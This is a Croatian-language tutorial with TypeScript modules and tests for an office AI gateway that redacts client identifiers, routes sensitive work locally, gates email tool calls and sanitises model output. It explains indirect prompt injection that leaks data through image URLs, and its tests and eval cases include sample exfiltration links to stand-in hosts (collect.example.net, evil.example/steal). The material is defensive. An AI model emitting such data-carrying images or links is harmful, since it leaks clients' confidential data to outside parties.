AI i automatizacija14 min čitanja · Ažurirano 5. studenoga 2026.

Izrada AI pristupnika koji ne curi, za stručni ured

Šest malih TypeScript modula između vaših ljudi i bilo kojeg modela, svaki s testom. I jedna rupa koju kod ne može zatvoriti.

Ukratko

Između zaposlenika i svakog modela postavite pristupnik. On identifikatore mijenja povratnim zamjenskim oznakama, povjerljiv rad drži na lokalnom modelu, svako zapisivanje šalje čovjeku na potvrdu, iz odgovora uklanja vanjske poveznice i slike, bilježi jedan redak s hashom po događaju i poznata curenja ponavlja kao testove. Šest modula u nastavku je čisti TypeScript, testiran Nodeovim ugrađenim alatom.

Crni ormar s poslužiteljima, mrežnim priključcima i kabelima.
Ilustrativna slika generirana umjetnom inteligencijom.

Ovaj tutorijal slojeve iz našeg vodiča o mitu vlastitog API-ja pretvara u kod. Svaki modul radi jedan posao, nema ovisnosti osim Nodea i dolazi s testom koji to dokazuje.

Kod na ovoj stranici generira se iz istih datoteka koje pokreću testovi. Ako se datoteka promijeni, a stranica ne, testovi padaju.

Što gradimo

Svaki zahtjev zaposlenika prolazi kroz pristupnik. On redigira, bira model, provjerava poziv alata, čisti odgovor i zapisuje revizijski redak. Dobavljač, ako se uopće koristi, vidi samo zamjenske oznake.

Zaposlenici šalju zahtjeve pristupniku, koji ih redigira i usmjerava lokalnom modelu ili API-ju dobavljača, provjerava pozive alata i vodi revizijski zapis.Zaposlenici, Pristupnik, Lokalni model, Alati, API dobavljača, Revizijski zapis. staff → gw (zahtjev); gw → local; gw → tools; gw → vendor; tools → audit (zapis).zahtjevzapisZaposleniciprijava: SSOPristupnikredakcija · smjerLokalni modelpovjerljivoAlatipotvrdaAPI dobavljačasamo oznakeRevizijski zapisredci s hashom
Isprekidani put nije obavezan: samo rad niskog rizika, na paketu s ugovorom o obradi podataka.

1. Redakcija u povratne zamjenske oznake

Detektori vraćaju raspone; redact svaki raspon mijenja oznakom poput [[EMAIL_1]], a original čuva u trezoru koji ne napušta ured. Ista vrijednost uvijek dobiva istu oznaku, pa model i dalje razlikuje dvije osobe. restore originale vraća u odgovor.

redact.ts
/** A span of sensitive text found by a detector. */export type Span = { kind: string; start: number; end: number };export type Detector = (text: string) => Span[];const PATTERNS: [kind: string, re: RegExp][] = [ ['EMAIL', /[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g], ['IBAN', /\b[A-Z]{2}\d{2}(?: ?[A-Z0-9]{4}){3,7}(?: ?[A-Z0-9]{1,4})?\b/g], ['OIB', /\b\d{11}\b/g], ['PHONE', /\+\d{1,3}[ /-]?\d{1,4}(?:[ /-]?\d{2,4}){2,4}/g],];/** Regex detector: catches anything with a recognisable shape. */export function patternDetector(kinds = PATTERNS.map(([kind]) => kind)): Detector { return (text) => PATTERNS.filter(([kind]) => kinds.includes(kind)).flatMap(([kind, re]) => [...text.matchAll(re)].map((m) => ({ kind, start: m.index!, end: m.index! + m[0].length })) );}/** Exact names exported from your case or client system: matters, clients, deals. */export function nameListDetector(names: string[]): Detector { return (text) => { const lower = text.toLowerCase(); return names.flatMap((name) => { const spans: Span[] = []; for (let i = lower.indexOf(name.toLowerCase()); i !== -1; i = lower.indexOf(name.toLowerCase(), i + 1)) { spans.push({ kind: 'NAME', start: i, end: i + name.length }); } return spans; }); };}/** Swaps every span for a placeholder; the vault maps placeholders back. */export function redact(text: string, detectors: Detector[]) { const spans = detectors .flatMap((detect) => detect(text)) .sort((a, b) => a.start - b.start || b.end - a.end); const vault = new Map<string, string>(); // placeholder -> original const seen = new Map<string, string>(); // original -> placeholder const counts: Record<string, number> = {}; let out = ''; let cursor = 0; for (const span of spans) { if (span.start < cursor) continue; // overlaps a span already replaced const value = text.slice(span.start, span.end); let placeholder = seen.get(value); if (!placeholder) { counts[span.kind] = (counts[span.kind] ?? 0) + 1; placeholder = `[[${span.kind}_${counts[span.kind]}]]`; seen.set(value, placeholder); vault.set(placeholder, value); } out += text.slice(cursor, span.start) + placeholder; cursor = span.end; } return { text: out + text.slice(cursor), vault, counts };}/** Puts the originals back into the model's answer, inside the office. */export function restore(text: string, vault: Map<string, string>): string { let out = text; for (const [placeholder, value] of vault) out = out.split(placeholder).join(value); return out;}
Regex detektori za oblike, popis imena za ono što oblika nema.

Popis imena je jeftin i pouzdan detektor koji većina ureda preskoči: izvezite imena klijenata, predmeta i transakcija iz sustava za predmete i tražite točno podudaranje. Uhvatit će „Project Falcon”, što nijedan regex neće.

2. Usmjeravanje po osjetljivosti

Tri signala zahtjev zadržavaju lokalno: oznaka „povjerljivo” na dokumentu, ocjena klasifikatora 0,5 ili više, ili bilo kakva redakcija. Oznaka koju pristupnik ne poznaje također ostaje lokalno. Zatvaranje u slučaju sumnje je cijela poanta.

route.ts
export type Label = 'public' | 'internal' | 'confidential';export type Route = { target: 'local' | 'vendor'; reason: string };/** Confidential work never leaves: the label, the classifier or any redaction keeps it local. */export function chooseModel(input: { label: Label; redactions: number; classifierScore: number }): Route { if (input.label === 'confidential') return { target: 'local', reason: 'label' }; if (input.classifierScore >= 0.5) return { target: 'local', reason: 'classifier' }; if (input.redactions > 0) return { target: 'local', reason: 'personal-data' }; if (input.label === 'public' || input.label === 'internal') return { target: 'vendor', reason: 'default' }; return { target: 'local', reason: 'unknown-label' }; // fail closed}
Sve nesigurno ide lokalnom modelu.

3. Potvrda svakog zapisivanja, samo dopuštene domene

Agent koji može slati e-poštu može slati i podatke. checkEmail nikad sam ne dopušta slanje: primatelji izvan popisa se odbijaju, a sve ostalo čeka da čovjek potvrdi. Domena se uspoređuje točno, pa office.example.evil.net ne prolazi.

tools.ts
export type EmailCall = { tool: 'send_email'; to: string[]; cc?: string[]; subject: string; body: string };export type Verdict = { action: 'deny' | 'confirm'; reason: string };/** Every write waits for a person; recipients outside the allowlist are refused outright. */export function checkEmail(call: EmailCall, allowedDomains: string[]): Verdict { const allowed = new Set(allowedDomains.map((d) => d.toLowerCase())); const recipients = [...call.to, ...(call.cc ?? [])]; if (recipients.length === 0) return { action: 'deny', reason: 'no-recipients' }; for (const address of recipients) { const match = /^[^@\s]+@([a-z0-9.-]+)$/i.exec(address.trim()); if (!match) return { action: 'deny', reason: `malformed:${address}` }; const domain = match[1].toLowerCase(); if (!allowed.has(domain)) return { action: 'deny', reason: `domain:${domain}` }; } return { action: 'confirm', reason: 'write-needs-human' };}
Odluka je ili odbijanje ili potvrda. Automatskog dopuštenja nema.

4. Čišćenje odgovora

Neizravno ubacivanje uputa radi tako da model ispiše nešto što klijent za razgovor dohvati, najčešće sliku čiji URL nosi podatke. Čistač uklanja svaku sliku, miče poveznice na adrese koje nisu na popisu i zamjenjuje gole vanjske URL-ove.

sanitize.ts
/** Strips what a client would fetch or follow: images always, links unless the host is listed. */export function sanitize(markdown: string, allowedHosts: string[]) { const allowed = new Set(allowedHosts.map((h) => h.toLowerCase())); const isAllowed = (url: string) => { try { const u = new URL(url); return u.protocol === 'https:' && allowed.has(u.hostname.toLowerCase()); } catch { return false; // relative, protocol-relative or broken: not allowed } }; let removed = 0; const text = markdown .replace(/!\[[^\]]*\]\([^)]*\)/g, () => (removed++, '[image removed]')) .replace(/<img\b[^>]*>/gi, () => (removed++, '[image removed]')) .replace(/\[([^\]]*)\]\(([^)\s]*)[^)]*\)/g, (link, label: string, url: string) => isAllowed(url) ? link : (removed++, label) ) // A bare URL ends before trailing punctuation, so "see https://x.example." keeps its full stop. .replace(/https?:\/\/[^\s)\]>"']*[^\s)\]>"'.,;:!?]/g, (url) => (isAllowed(url) ? url : (removed++, '[link removed]'))); return { text, removed };}
Slike uvijek idu; poveznice ostaju samo za adrese s popisa.

Pisanje testa za ovaj modul otkrilo je stvarnu grešku: prva verzija progutala je točku iza golog URL-a. Regex sada staje prije interpunkcije na kraju.

5. Jedan revizijski redak po događaju

Svaki upit, dohvat i poziv alata dobiva jedan JSON redak: tko, što, kamo je otišlo, koliko je stavki redigirano i odluka. Sirovi tekst se nikad ne bilježi. Njegov SHA-256 hash omogućuje da u incidentu redak povežete s dokumentom bez dvostrukog čuvanja dokumenta.

audit.ts
import { createHash } from 'node:crypto';export type AuditEvent = { user: string; action: 'prompt' | 'retrieval' | 'tool'; target: string; redactions: Record<string, number>; decision: string; input: string;};/** One JSON line per event. The raw text is never logged, only its hash. */export function auditLine(event: AuditEvent, now = new Date()): string { const { input, ...rest } = event; return JSON.stringify({ ts: now.toISOString(), ...rest, input_sha256: createHash('sha256').update(input).digest('hex'), });}
U zapisu nema sirovog teksta, samo brojevi i hash.
audit.log
$ tail -n 1 audit.log{"ts":"2026-11-05T09:14:02.000Z","user":"ana","action":"prompt","target":"local","redactions":{"EMAIL":1,"IBAN":1},"decision":"routed:personal-data","input_sha256":"b76329880ff6671a17edf2047b1e5d16410a791ba0538b39675fa4569e30b931"}
Izlaz funkcije auditLine() za „Refund ana.horvat@example.com to HR1210010051863000160.” (izmišljeni testni podaci).

6. Evaluacije koje padaju na regresiji

Svako curenje koje ste vidjeli postaje slučaj: ulaz i nizovi koji nikad ne smiju izaći. Skup samo raste. Kad netko makne detektor da ispravi lažno pozitivan rezultat, pokretanje pada i imenuje slučaj koji se ponovno otvorio.

evals.ts
export type LeakCase = { name: string; input: string; mustNotContain: string[] };/** Known leaks. Each one stays here forever: a rule change that reopens it fails the run. */export const LEAK_CASES: LeakCase[] = [ { name: 'identifiers in a prompt', input: 'Refund client ana.horvat@example.com to HR1210010051863000160, OIB 12345678903.', mustNotContain: ['ana.horvat@example.com', 'HR1210010051863000160', '12345678903'], }, { name: 'a matter name with no pattern', input: 'Summarise where Project Falcon stands before the board meets.', mustNotContain: ['Project Falcon'], }, { name: 'an exfiltration image in model output', input: 'Done. ![status](https://collect.example.net/p?d=HR1210010051863000160)', mustNotContain: ['collect.example.net'], },];/** Runs every case through the pipeline; returns the names of the cases that leaked. */export function runEvals(pipeline: (input: string) => string, cases = LEAK_CASES): string[] { return cases .filter((c) => { const out = pipeline(c.input); return c.mustNotContain.some((secret) => out.includes(secret)); }) .map((c) => c.name);}
Poznata curenja, zauvijek.
gateway.test.ts
import { test } from 'node:test';import assert from 'node:assert/strict';import { nameListDetector, patternDetector, redact, restore } from './redact';import { chooseModel } from './route';import { checkEmail } from './tools';import { sanitize } from './sanitize';import { auditLine } from './audit';import { LEAK_CASES, runEvals } from './evals';const MATTERS = nameListDetector(['Project Falcon']);const ALLOWED_HOSTS = ['intranet.office.example'];/** What leaves the office: redacted input, sanitised output. */const pipeline = (detectors = [patternDetector(), MATTERS]) => (input: string) => sanitize(redact(input, detectors).text, ALLOWED_HOSTS).text;test('redaction swaps identifiers for placeholders and restores them', () => { const input = 'Email ana.horvat@example.com, IBAN HR12 1001 0051 8630 0016 0, phone +385 91 234 5678, OIB 12345678903.'; const { text, vault, counts } = redact(input, [patternDetector()]); assert.equal( text, 'Email [[EMAIL_1]], IBAN [[IBAN_1]], phone [[PHONE_1]], OIB [[OIB_1]].' ); assert.deepEqual(counts, { EMAIL: 1, IBAN: 1, PHONE: 1, OIB: 1 }); assert.equal(restore(text, vault), input);});test('the same value gets the same placeholder', () => { const { text } = redact('a@x.example wrote to b@x.example, then a@x.example again', [patternDetector()]); assert.equal(text, '[[EMAIL_1]] wrote to [[EMAIL_2]], then [[EMAIL_1]] again');});test('patterns miss a matter name; the name list catches it', () => { const input = 'Where does Project Falcon stand?'; assert.equal(redact(input, [patternDetector()]).text, input); assert.equal(redact(input, [patternDetector(), MATTERS]).text, 'Where does [[NAME_1]] stand?');});test('routing keeps confidential and personal data local', () => { assert.equal(chooseModel({ label: 'confidential', redactions: 0, classifierScore: 0 }).target, 'local'); assert.equal(chooseModel({ label: 'internal', redactions: 0, classifierScore: 0.8 }).target, 'local'); assert.equal(chooseModel({ label: 'internal', redactions: 2, classifierScore: 0 }).target, 'local'); assert.equal(chooseModel({ label: 'public', redactions: 0, classifierScore: 0.1 }).target, 'vendor'); // A label the gateway does not know fails closed. assert.equal(chooseModel({ label: 'secret' as never, redactions: 0, classifierScore: 0 }).target, 'local');});test('email tool: allowlisted domains need confirmation, everything else is denied', () => { const call = { tool: 'send_email' as const, subject: 'Draft', body: '...' }; assert.deepEqual(checkEmail({ ...call, to: ['partner@office.example'] }, ['office.example']), { action: 'confirm', reason: 'write-needs-human', }); assert.equal(checkEmail({ ...call, to: ['me@gmail.com'] }, ['office.example']).reason, 'domain:gmail.com'); assert.equal(checkEmail({ ...call, to: ['x@office.example.evil.net'] }, ['office.example']).action, 'deny'); assert.equal(checkEmail({ ...call, to: ['partner@office.example'], cc: ['me@gmail.com'] }, ['office.example']).action, 'deny'); assert.equal(checkEmail({ ...call, to: [] }, ['office.example']).reason, 'no-recipients');});test('sanitiser strips images and external links, keeps allowed links', () => { const md = [ 'See ![chart](https://collect.example.net/x.png?d=secret).', 'Read [the policy](https://intranet.office.example/ai-policy).', 'Or [this](https://evil.example/steal?d=1) and https://evil.example/raw.', '<img src="https://evil.example/p.gif">', ].join('\n'); const { text, removed } = sanitize(md, ALLOWED_HOSTS); assert.equal( text, [ 'See [image removed].', 'Read [the policy](https://intranet.office.example/ai-policy).', 'Or this and [link removed].', '[image removed]', ].join('\n') ); assert.equal(removed, 4);});test('audit line carries counts and a hash, never the text', () => { const line = auditLine( { user: 'ana', action: 'prompt', target: 'local', redactions: { EMAIL: 1 }, decision: 'routed', input: 'secret text' }, new Date('2026-11-05T09:00:00Z') ); const parsed = JSON.parse(line); assert.equal(parsed.ts, '2026-11-05T09:00:00.000Z'); assert.equal(parsed.input_sha256.length, 64); assert.ok(!line.includes('secret text'));});test('evals pass with the full rule set', () => { assert.deepEqual(runEvals(pipeline()), []);});test('evals fail when a rule change reopens a known leak', () => { // Someone drops the IBAN pattern to fix a false positive. const weakened = pipeline([patternDetector(['EMAIL', 'OIB', 'PHONE']), MATTERS]); assert.deepEqual(runEvals(weakened), ['identifiers in a prompt']); assert.equal(LEAK_CASES.length, 3);});test('the tutorial embeds exactly these files', async () => { const { readFileSync } = await import('node:fs'); const { AI_GATEWAY_CODE } = await import('../../lib/aiGatewayCode.generated'); for (const [name, code] of Object.entries(AI_GATEWAY_CODE)) { assert.equal(code, readFileSync(new URL(`./${name}`, import.meta.url), 'utf8'), `${name} is stale: run embed.mjs`); }});
Nodeov ugrađeni alat za testove; pokreće se s tsx.
tests
$ npm run test:ai-gateway✔ redaction swaps identifiers for placeholders and restores them✔ patterns miss a matter name; the name list catches it✔ routing keeps confidential and personal data local✔ email tool: allowlisted domains need confirmation, everything else is denied✔ sanitiser strips images and external links, keeps allowed links✔ evals fail when a rule change reopens a known leakℹ tests 10  pass 10  fail 0
Skraćeno: izostavljena su četiri od deset uspješnih testova.

Rupa koju ovaj kod ne zatvara

Ništa od ovoga ne radi kad zaposlenik spis klijenta zalijepi u osobni chatbot na mobitelu. Tu rupu zatvaraju odobren alat dovoljno dobar da se koristi, pravila preglednika i uređaja na poslovnoj opremi, pravila korištenja AI-ja na jednoj stranici i kratka obuka. Naš vodič opisuje svaku od njih.

Ako dio posla ide dobavljaču, paket birajte pažljivo. Naša usporedba osobnih, poslovnih i API paketa pokazuje koji treniraju na razgovorima i koliko dugo koji čuva podatke. Što curenje košta po hrvatskom pravu piše na stranici curenje podataka kroz AI.

Ključno za ponijeti

  • Redigirajte u povratne zamjenske oznake; trezor ne napušta ured.
  • Sve nesigurno usmjerite lokalnom modelu: zatvaranje u slučaju sumnje.
  • Zapisivanje uvijek čeka čovjeka; primatelji izvan popisa se odbijaju.
  • Iz odgovora uklonite slike i poveznice izvan popisa da zaustavite curenje ubacivanjem uputa.
  • Bilježite brojeve i hash, ne tekst, i svako poznato curenje ponavljajte kao test.

Česta pitanja

Zašto ne koristiti gotov DLP proizvod?

Ako ga već plaćate, koristite ga kao detektor: pristupnik prima svaku funkciju koja vraća raspone. Važno je gdje pristupnik stoji, između zaposlenika i svakog modela, a ne koji detektor pokreće.

Može li jedan pristupnik služiti lokalni model i model dobavljača?

Može. chooseModel vraća local ili vendor, a obrada zahtjeva poziva odgovarajućeg klijenta. Put prema dobavljaču držite na poslovnom paketu ili API-ju s ugovorom o obradi podataka.

Gdje se zamjenske oznake vraćaju u tekst?

Unutar pristupnika, nakon što odgovor stigne i prije nego što ga korisnik vidi. Trezor ne napušta ured, pa dobavljač vidi samo [[EMAIL_1]].

Koliko slučajeva curenja treba skup evaluacija?

Počnite sa svakim curenjem koje ste vidjeli ili testirali i dodajte po jedno za svaki incident. Skup samo raste; promjena pravila koja pokvari stari slučaj ruši pokretanje.

Izvori

Stranice na kojima smo provjerili gore navedene činjenice, s datumom zadnje provjere.

  1. LLM01:2025 Prompt Injection — OWASP Gen AI Security Project, provjereno 2026-11-05
    Neizravno ubacivanje uputa i izvlačenje podataka kroz umetnutu sliku, na što cilja čistač izlaza.
  2. Enterprise privacy at OpenAI — OpenAI, provjereno 2026-11-05
    Podaci API-ja ne koriste se za treniranje prema zadanim postavkama; ugovor o obradi za put prema dobavljaču.
  3. How long do you store my organization’s data? — Anthropic Privacy Center, provjereno 2026-11-05
    Ulazi i izlazi API-ja brišu se u roku od 30 dana.

Pogledajte to na jednom svom poslu

Počinjemo demonstracijom na izmišljenim podacima: jedan uredski posao, lokalni model i pravila pristupnika iz ovih članaka. Stvarni podaci klijenata dolaze tek nakon pisanog opsega.

Dogovorite demo na izmišljenim podacima

Napišite koji posao želite ubrzati. Za demo ne trebamo vaše stvarne podatke.

  • Fiksna ponuda — bez obveze
  • Odgovor u 1 radnom danu

Slanjem prihvaćate da vas kontaktiramo vezano uz ovaj upit.

Radije prvo razgovor? Javite se izravno:Kontakt
Privatni AI deployment: načini rada i tok podataka →

O autoru

Paxa Media

Piše Paxa Media, tehnološka tvrtka sa sjedištem u Rijeci. Rasponi cijena u vodičima su okvirni; konačna ponuda ovisi o opsegu.

Zašto možete vjerovati ovome

  • Izrađujemo sustave o kakvima pišemo — web stranice, web i mobilne aplikacije, automatizaciju i integracije
  • Tehnološka smo tvrtka sa sjedištem u Rijeci
  • Rasponi cijena u vodičima su okvirni, a ne ponuda; konačnu cijenu određuje opseg

Nastavi čitati

Svi tutorijali →
AI i automatizacija

ChatGPT preko vlastitog API-ja ne čuva podatke klijenata

Interni omotač mijenja sučelje, ne put kojim podaci idu. Osam slojeva zaštite, curenje koje svaki propušta i zašto je zadnja rupa osobni chatbot.

AI i automatizacija

Gdje idu podaci klijenata: osobni AI, poslovni paketi, API i lokalni model

Isti model, vrlo različiti uvjeti. Što se događa sa spisom klijenta na osobnom paketu, poslovnom paketu, API-ju i modelu na vlastitoj opremi, provjereno na stranicama dobavljača.

AI i automatizacija

Pokretanje lokalnog AI agenta na vlastitom računalu: OpenClerq u petnaestak minuta

Lokalni administrativni agent koji vaše datoteke ne šalje nikamo. Instalacija, pokretanje gatewaya, prvi poziv i objašnjenje što se zapravo događa.